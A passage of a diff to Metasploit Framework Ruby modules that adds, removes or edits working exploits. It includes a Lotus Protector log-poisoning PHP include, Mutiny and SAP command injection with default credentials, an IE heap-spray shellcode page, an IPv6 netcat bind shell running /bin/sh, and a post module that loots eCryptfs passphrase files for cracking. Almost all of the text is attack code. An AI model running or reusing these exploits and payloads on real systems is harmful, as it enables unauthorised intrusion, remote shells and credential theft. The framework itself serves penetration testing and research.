if (res.code == 302 && res.body.match(/GetLoginScreen.uevent/))
|
|
||||||
return Exploit::CheckCode::Detected
|
|
||||||
end
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
|
|
||||||
def php_exploit
|
|
||||||
|
|
||||||
logfile = (datastore['DATE'] and not datastore['DATE'].empty?) ? datastore['DATE'] : Time.now.strftime("%Y-%m-%d")
|
|
||||||
if (logfile !~ /\d\d\d\d-\d\d-\d\d/) # if set by user datastore...
|
|
||||||
fail_with(Exploit::Failure::BadConfig, "DATE is in incorrect format (use 'YYYY-MM-DD'). Unable to continue.")
|
|
||||||
end
|
|
||||||
|
|
||||||
# set up the initial log file RCE - this is unescaped ascii so we can execute it
|
|
||||||
# later >:) uid is tomcat so we cannot read apache's logs, and we are stuck inside
|
|
||||||
# tomcat's php-cgi wrapper which prevents /proc/* injection and a lot of the
|
|
||||||
# filesystem. example good injected log: '/var/log/ovid/omf-2012-08-01.log' patrick
|
|
||||||
|
|
||||||
inject_url = "/omc/GetSetupScreen.event?setupPage=<?php+include+'#{php_include_url}';+?>" # no whitespace
|
|
||||||
print_status("Trying to inject payload in logfiles...")
|
|
||||||
res = send_request_cgi( { 'uri' => inject_url })
|
|
||||||
|
|
||||||
if (res and res.code == 404 and res.body.match(/Lotus Protector for Mail Encryption - Page Not Found/)) # it returns a 404 but this is good.
|
|
||||||
print_good("Payload injected!")
|
|
||||||
else
|
|
||||||
if res
|
|
||||||
print_status "#{res.code}"
|
|
||||||
print_status "#{res.body}"
|
|
||||||
end
|
|
||||||
fail_with(Exploit::Failure::UnexpectedReply, "Failed to inject payload in logfiles")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Executing payload!")
|
|
||||||
response = send_request_cgi({
|
|
||||||
'uri' => '/omc/pme/index.php',
|
|
||||||
'cookie' => "slaLANG=../../../../../../var/log/ovid/omf-#{logfile}.log%00;", # discard .php
|
|
||||||
})
|
|
||||||
if response
|
|
||||||
print_status "#{response.code}"
|
|
||||||
print_status "#{response.body}"
|
|
||||||
else
|
|
||||||
print_status "no response"
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,167 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Mutiny Remote Command Execution',
|
|
||||||
'Description' => %q{
|
|
||||||
This module exploits an authenticated command injection vulnerability in the
|
|
||||||
Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. This module has been
|
|
||||||
tested successfully on Mutiny 4.2-1.05.
|
|
||||||
},
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Christopher Campbell', # Vulnerability discovery
|
|
||||||
'juan vazquez' # Metasploit module
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
['CVE', '2012-3001'],
|
|
||||||
['OSVDB', '86570'],
|
|
||||||
['BID', '56165'],
|
|
||||||
['US-CERT-VU', '841851'],
|
|
||||||
['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
|
|
||||||
],
|
|
||||||
'Privileged' => true,
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'DisableNops' => true,
|
|
||||||
'Space' => 4000,
|
|
||||||
'Compat' =>
|
|
||||||
{
|
|
||||||
'PayloadType' => 'cmd',
|
|
||||||
'RequiredCmd' => 'generic perl python telnet',
|
|
||||||
}
|
|
||||||
},
|
|
||||||
'Platform' => 'unix',
|
|
||||||
'Arch' => ARCH_CMD,
|
|
||||||
'Targets' => [[ 'Automatic', { }]],
|
|
||||||
'DisclosureDate' => 'Oct 22 2012',
|
|
||||||
'DefaultTarget' => 0))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]),
|
|
||||||
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
|
|
||||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def peer
|
|
||||||
"#{rhost}:#{rport}"
|
|
||||||
end
|
|
||||||
|
|
||||||
def check
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'logon.jsp'),
|
|
||||||
})
|
|
||||||
|
|
||||||
if res and res.body =~ /: Mutiny : Login @ mutiny/
|
|
||||||
return Exploit::CheckCode::Detected
|
|
||||||
end
|
|
||||||
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
|
|
||||||
print_status("#{peer} - Login with the provided credentials...")
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'logon.do'),
|
|
||||||
'vars_post' =>
|
|
||||||
{
|
|
||||||
'username' => datastore['USERNAME'],
|
|
||||||
'password' => datastore['PASSWORD']
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
|
||||||
print_good("#{peer} - Login successful")
|
|
||||||
session = $1
|
|
||||||
else
|
|
||||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{peer} - Leaking current Network Information...")
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
|
|
||||||
'cookie' => "JSESSIONID=#{session}",
|
|
||||||
})
|
|
||||||
|
|
||||||
if res and res.code == 200 and res.body =~ /Ethernet Interfaces/
|
|
||||||
adress_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "")
|
|
||||||
@netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "")
|
|
||||||
gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "")
|
|
||||||
dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "")
|
|
||||||
static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "")
|
|
||||||
static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "")
|
|
||||||
static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "")
|
|
||||||
print_good("#{peer} - Information leaked successfully")
|
|
||||||
else
|
|
||||||
print_error("#{peer} - Error leaking information, trying to exploit with random values")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{peer} - Exploiting Command Injection...")
|
|
||||||
|
|
||||||
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
|
|
||||||
injection << "; #{payload.encoded} #"
|
|
||||||
|
|
||||||
send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
|
|
||||||
'cookie' => "JSESSIONID=#{session}",
|
|
||||||
'vars_post' =>
|
|
||||||
{
|
|
||||||
"addresseth0" => adress_eth0 || rand_text_alpha(5 + rand(3)),
|
|
||||||
"netmasketh0" => injection,
|
|
||||||
"Gateway" => gateway || rand_text_alpha(5 + rand(3)),
|
|
||||||
"dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)),
|
|
||||||
"staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)),
|
|
||||||
"staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)),
|
|
||||||
"staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3))
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
if @netmask_eth0
|
|
||||||
print_status("#{peer} - Restoring original values...")
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
|
|
||||||
'cookie' => "JSESSIONID=#{session}",
|
|
||||||
'vars_post' =>
|
|
||||||
{
|
|
||||||
"addresseth0" => adress_eth0,
|
|
||||||
"netmasketh0" => @netmask_eth0,
|
|
||||||
"Gateway" => gateway,
|
|
||||||
"dnsaddress0" => dns_address,
|
|
||||||
"staticRouteAddress" => static_route_address,
|
|
||||||
"staticRouteNetmask" => static_route_netmask,
|
|
||||||
"staticRouteGateway" => static_route_gateway
|
|
||||||
}
|
|
||||||
})
|
|
||||||
if res and res.code == 200 and res.body =~ /messageSuccess/
|
|
||||||
print_good("#{peer} - Original values successfully restored")
|
|
||||||
else
|
|
||||||
print_error("#{peer} - Error restoring original values")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -217,12 +217,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@swf = create_swf
|
@swf = create_swf
|
||||||
@resource_name = Rex::Text.rand_text_alpha(5)
|
@resource_name = Rex::Text.rand_text_alpha(5)
|
||||||
vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")
|
vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")
|
||||||
=begin
|
|
||||||
datastore['URIPATH'] = datastore['URIPATH'] || random_uri
|
datastore['URIPATH'] = datastore['URIPATH'] || random_uri
|
||||||
datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
|
datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
|
||||||
datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
|
datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
|
||||||
vprint_status("URIPATH set to #{datastore['URIPATH']}")
|
print_warning("URIPATH set to #{datastore['URIPATH']}")
|
||||||
=end
|
|
||||||
super
|
super
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -83,8 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
|
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
|
||||||
mytarget = targets[1] # IE6 on 2000
|
mytarget = targets[1] # IE6 on 2000
|
||||||
else
|
else
|
||||||
print_error("Unknown User-Agent #{agent}, sending 404.")
|
print_error("Unknown User-Agent #{agent}")
|
||||||
cli.send_response(create_response(404, 'File not found'))
|
|
||||||
end
|
end
|
||||||
|
|
||||||
mytarget
|
mytarget
|
||||||
|
@ -92,11 +91,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
if (mytarget = auto_target(cli, request))
|
mytarget = auto_target(cli, request)
|
||||||
var_title = rand_text_alpha(rand(100) + 1)
|
var_title = rand_text_alpha(rand(100) + 1)
|
||||||
func_main = rand_text_alpha(rand(100) + 1)
|
func_main = rand_text_alpha(rand(100) + 1)
|
||||||
|
|
||||||
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
|
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
|
||||||
function heapspray()
|
function heapspray()
|
||||||
{
|
{
|
||||||
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
|
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
|
||||||
|
@ -184,12 +183,11 @@ function #{func_main}()
|
||||||
</html>
|
</html>
|
||||||
|
|
|
|
||||||
|
|
||||||
print_status("Sending #{self.name}")
|
print_status("Sending #{self.name}")
|
||||||
# Transmit the compressed response to the client
|
# Transmit the compressed response to the client
|
||||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
|
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
|
||||||
|
|
||||||
# Handle the payload
|
# Handle the payload
|
||||||
handler(cli)
|
handler(cli)
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -39,8 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
[ 'CVE', '2009-0075' ],
|
[ 'CVE', '2009-0075' ],
|
||||||
[ 'OSVDB', '51839' ],
|
[ 'OSVDB', '51839' ],
|
||||||
[ 'MSB', 'MS09-002' ],
|
[ 'MSB', 'MS09-002' ]
|
||||||
[ 'BID', '33627' ]
|
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -1,76 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = NormalRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Novell File Reporter NFRAgent.exe XML Parsing Remote Code Execution Vulnerability',
|
|
||||||
'Description' => %q{
|
|
||||||
This module exploits a buffer overflow....
|
|
||||||
},
|
|
||||||
'Author' => [
|
|
||||||
'Stephen Fewer', # Vulnerability discovery
|
|
||||||
'juan vazquez' # Metasploit module
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Platform' => [ 'win' ],
|
|
||||||
'Privileged' => true,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'CVE', '2011-0994' ],
|
|
||||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-167/' ]
|
|
||||||
],
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Space' => 1000,
|
|
||||||
'BadChars' => "",
|
|
||||||
'StackAdjustment' => -3500,
|
|
||||||
},
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
['Windows XP SP3 / NFR Agent 1.0.3.22', { }],
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'DisclosureDate' => 'Apr 04 2011'
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(2037)
|
|
||||||
], self.class )
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
|
|
||||||
data = "FD97A41459FD495A43E3BF922B40DB23<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>c:\\boot.ini</PATH></RECORD>"
|
|
||||||
|
|
||||||
print_status("Uploading the payload via a POST request...")
|
|
||||||
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => '/FSF/CMD',
|
|
||||||
'version' => '1.1',
|
|
||||||
'method' => 'POST',
|
|
||||||
'ctype' => "text/xml",
|
|
||||||
'data' => data,
|
|
||||||
}, 5)
|
|
||||||
|
|
||||||
if res
|
|
||||||
print_status("#{res.code}\n#{res.body}")
|
|
||||||
else
|
|
||||||
print_status("no response!")
|
|
||||||
#fail_with(Exploit::Failure::Unknown, 'POST failed')
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,132 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
|
||||||
# This module is based on, inspired by, or is a port of a plugin available in
|
|
||||||
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
|
|
||||||
# http://www.onapsis.com/research-free-solutions.php.
|
|
||||||
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
|
|
||||||
# in producing the Metasploit modules and was happy to share his knowledge and
|
|
||||||
# experience - a very cool guy.
|
|
||||||
#
|
|
||||||
# The following guys from ERP-SCAN deserve credit for their contributions -
|
|
||||||
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
|
|
||||||
# Dmitry Evdokimov.
|
|
||||||
#
|
|
||||||
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
|
|
||||||
# who have Beta tested the modules and provided excellent feedback. Some people
|
|
||||||
# just seem to enjoy hacking SAP :)
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit4 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
include Msf::Exploit::CmdStagerVBS
|
|
||||||
include Msf::Exploit::EXE
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXECUTE Function Command Execution',
|
|
||||||
'Description' => %q{
|
|
||||||
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call, through the
|
|
||||||
use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in
|
|
||||||
the SM69 transaction.
|
|
||||||
},
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
|
|
||||||
],
|
|
||||||
'DisclosureDate' => 'March 26 2013',
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Arch' => ARCH_X86,
|
|
||||||
'Targets' => [
|
|
||||||
[ 'Windows Universal', {}]
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'Privileged' => true,
|
|
||||||
'Author' =>['nmonkee'],
|
|
||||||
'License' => MSF_LICENSE
|
|
||||||
)
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(8000),
|
|
||||||
OptString.new('CLIENT', [true, 'SAP Client', '001']),
|
|
||||||
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
|
|
||||||
OptString.new('PASSWORD', [true, 'Password', '06071992']),
|
|
||||||
OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
|
|
||||||
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS','Windows NT']])
|
|
||||||
], self.class)
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 250]),
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
linemax = datastore['PAYLOAD_SPLIT']
|
|
||||||
print_status("Using custom payload size of #{linemax}") if linemax != 250
|
|
||||||
print_status("[SAP] #{rhost}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
|
|
||||||
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
|
|
||||||
handler(nil)
|
|
||||||
end
|
|
||||||
|
|
||||||
def execute_command(cmd, opts)
|
|
||||||
command = cmd.gsub(/&/,'&')
|
|
||||||
os = datastore['OS']
|
|
||||||
data = '<?xml version="1.0" encoding="utf-8" ?>'
|
|
||||||
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
|
||||||
data << '<env:Body>'
|
|
||||||
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
|
|
||||||
data << '<ADDITIONAL_PARAMETERS>&' + command.to_s + '</ADDITIONAL_PARAMETERS>'
|
|
||||||
data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>'
|
|
||||||
data << '<OPERATINGSYSTEM>' + os +'</OPERATINGSYSTEM>'
|
|
||||||
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
|
|
||||||
data << '</n1:SXPG_COMMAND_EXECUTE>'
|
|
||||||
data << '</env:Body>'
|
|
||||||
data << '</env:Envelope>'
|
|
||||||
begin
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => '/sap/bc/soap/rfc',
|
|
||||||
'method' => 'POST',
|
|
||||||
'data' => data,
|
|
||||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
|
||||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
|
||||||
'ctype' => 'text/xml; charset=UTF-8',
|
|
||||||
'headers' => {
|
|
||||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
|
||||||
},
|
|
||||||
'vars_get' => {
|
|
||||||
'sap-client' => datastore['CLIENT'],
|
|
||||||
'sap-language' => 'EN'
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
if res and res.code != 500 and res.code != 200
|
|
||||||
# to do - implement error handlers for each status code, 404, 301, etc.
|
|
||||||
print_error("[SAP] #{rhost}:#{rport} - something went wrong!")
|
|
||||||
return
|
|
||||||
elsif res and res.body =~ /faultstring/
|
|
||||||
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
|
|
||||||
0.upto(error.length-1) do |i|
|
|
||||||
print_error("[SAP] #{rhost}:#{rport} - error #{error[i]}")
|
|
||||||
end
|
|
||||||
return
|
|
||||||
elsif res and res.code == 200
|
|
||||||
return
|
|
||||||
else
|
|
||||||
print_error("[SAP] #{rhost}:#{rport} - Unknown error")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
rescue ::Rex::ConnectionError
|
|
||||||
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -17,21 +17,16 @@ module Metasploit3
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Bind TCP (via netcat) IPv6',
|
'Name' => 'Unix Command Shell, Bind TCP (via netcat -e) IPv6',
|
||||||
'Description' => 'Listen for a connection and spawn a command shell via netcat',
|
'Description' => 'Listen for a connection and spawn a command shell via netcat',
|
||||||
'Author' =>
|
'Author' => 'hdm',
|
||||||
[
|
|
||||||
'hdm', # Original netcat -e payload
|
|
||||||
'm-1-k-3', # netcat payload
|
|
||||||
'egypt' # Payloads merge
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
'Handler' => Msf::Handler::BindTcp,
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
'Session' => Msf::Sessions::CommandShell,
|
'Session' => Msf::Sessions::CommandShell,
|
||||||
'PayloadType' => 'cmd',
|
'PayloadType' => 'cmd',
|
||||||
'RequiredCmd' => 'netcat',
|
'RequiredCmd' => 'netcat-e',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'Offsets' => { },
|
'Offsets' => { },
|
||||||
|
@ -51,11 +46,7 @@ module Metasploit3
|
||||||
# Returns the command string to use for execution
|
# Returns the command string to use for execution
|
||||||
#
|
#
|
||||||
def command_string
|
def command_string
|
||||||
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
"nc -6 -lp #{datastore['LPORT']} -e /bin/sh"
|
||||||
command = "(nc -6 -l -p #{datastore['LPORT']} -e /bin/sh 2>/dev/null) ||"
|
|
||||||
command << "(mknod /tmp/#{backpipe} p; nc -6 -l #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe})"
|
|
||||||
return command
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,73 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
require 'msf/core/post/unix'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Common
|
||||||
|
include Msf::Post::Unix
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info(info,
|
||||||
|
'Name' => 'Gather eCryptfs Metadata',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will grab the contents of user's .ecrypts directory on
|
||||||
|
the targeted machine. Grabbed "wrapped-passphrase" files can be
|
||||||
|
cracked with JtR to get "mount passphrases".
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
# This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Finding .ecryptfs directories")
|
||||||
|
paths = enum_user_directories.map {|d| d + "/.ecryptfs"}
|
||||||
|
# Array#select! is only in 1.9
|
||||||
|
paths = paths.select { |d| directory?(d) }
|
||||||
|
|
||||||
|
if paths.nil? or paths.empty?
|
||||||
|
print_error("No users found with a .ecryptfs directory")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
download_loot(paths)
|
||||||
|
end
|
||||||
|
|
||||||
|
def download_loot(paths)
|
||||||
|
print_status("Looting #{paths.count} directories")
|
||||||
|
paths.each do |path|
|
||||||
|
path.chomp!
|
||||||
|
sep = "/"
|
||||||
|
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
|
||||||
|
|
||||||
|
files.each do |file|
|
||||||
|
target = "#{path}#{sep}#{file}"
|
||||||
|
if directory?(target)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
print_status("Downloading #{path}#{sep}#{file} -> #{file}")
|
||||||
|
data = read_file(target)
|
||||||
|
file = file.split(sep).last
|
||||||
|
loot_path = store_loot("ecryptfs.#{file}", "text/plain", session, data,
|
||||||
|
nil, "eCryptfs #{file} File")
|
||||||
|
print_good("File stored in: #{loot_path.to_s}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Post
|
||||||
# method for Checking if database instances are installed on host - mssql
|
# method for Checking if database instances are installed on host - mssql
|
||||||
def check_mssql
|
def check_mssql
|
||||||
key = "HKLM\\SOFTWARE\\Microsoft"
|
key = "HKLM\\SOFTWARE\\Microsoft"
|
||||||
if (registry_enumkeys(key) || '').include?("Microsoft SQL Server")
|
if registry_enumkeys(key).include?("Microsoft SQL Server")
|
||||||
print_status("\tMicrosoft SQL Server found.")
|
print_status("\tMicrosoft SQL Server found.")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -101,13 +101,13 @@ class Metasploit3 < Msf::Post
|
||||||
# method for Checking if database instances are installed on host - oracle
|
# method for Checking if database instances are installed on host - oracle
|
||||||
def check_oracle
|
def check_oracle
|
||||||
key = "HKLM\\SOFTWARE\\Oracle"
|
key = "HKLM\\SOFTWARE\\Oracle"
|
||||||
if (registry_enumkeys(key) || '').include?("ALL_HOMES")
|
if registry_enumkeys(key).include?("ALL_HOMES")
|
||||||
print_status("\tOracle Server found.")
|
print_status("\tOracle Server found.")
|
||||||
return true
|
return true
|
||||||
elsif (registry_enumkeys(key) || '').include?("SYSMAN")
|
elsif registry_enumkeys(key).include?("SYSMAN")
|
||||||
print_status("\tOracle Server found.")
|
print_status("\tOracle Server found.")
|
||||||
return true
|
return true
|
||||||
elsif (registry_enumkeys(key) || '').include?("KEY_XE")
|
elsif registry_enumkeys(key).include?("KEY_XE")
|
||||||
print_status("\tOracle Server found.")
|
print_status("\tOracle Server found.")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Post
|
||||||
# method for Checking if database instances are installed on host - db2
|
# method for Checking if database instances are installed on host - db2
|
||||||
def check_db2
|
def check_db2
|
||||||
